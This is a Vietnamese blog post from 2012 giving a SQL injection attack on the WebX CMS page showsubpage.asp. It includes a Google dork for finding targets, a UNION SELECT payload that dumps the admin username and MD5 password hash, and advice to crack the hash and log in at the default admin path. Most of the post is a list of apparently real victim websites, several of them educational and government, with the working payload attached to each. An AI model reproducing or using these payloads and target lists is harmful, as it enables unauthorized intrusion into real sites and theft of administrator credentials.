Thứ Sáu, 29 tháng 6, 2012

[Bug] WebX (showsubpage.asp) SQLI

1. Google dork:   
inurl:"showsubpage.asp" "Powered By: WebX" 
2. Khai thác
-  Thêm Query 

null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
  vào sau  http://www.victim.com/showsubpage.asp?subid=
 
- Nếu site dính bug này, nó sẽ hiện thi thông tin username và password được mã hóa MD5 của admin
Ví dụ: 
http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 

 
-  Để giải mã pass bị mã hóa md5 đó, bạn có thể vứt đoạn mã đó lên google
 
 
3-  Login
 
Login vào quyền admin với path mặc định:  http://www.victim.com/admin
 
http://www.erdf.edu.in/admin/
* List một số site dính bug này:
 
 
http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://olashillong.org/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://d7561529.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
 
http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1
Chuyên Mục:
Người đăng: vào lúc

Không có nhận xét nào:

Đăng ký: Đăng Nhận xét (Atom)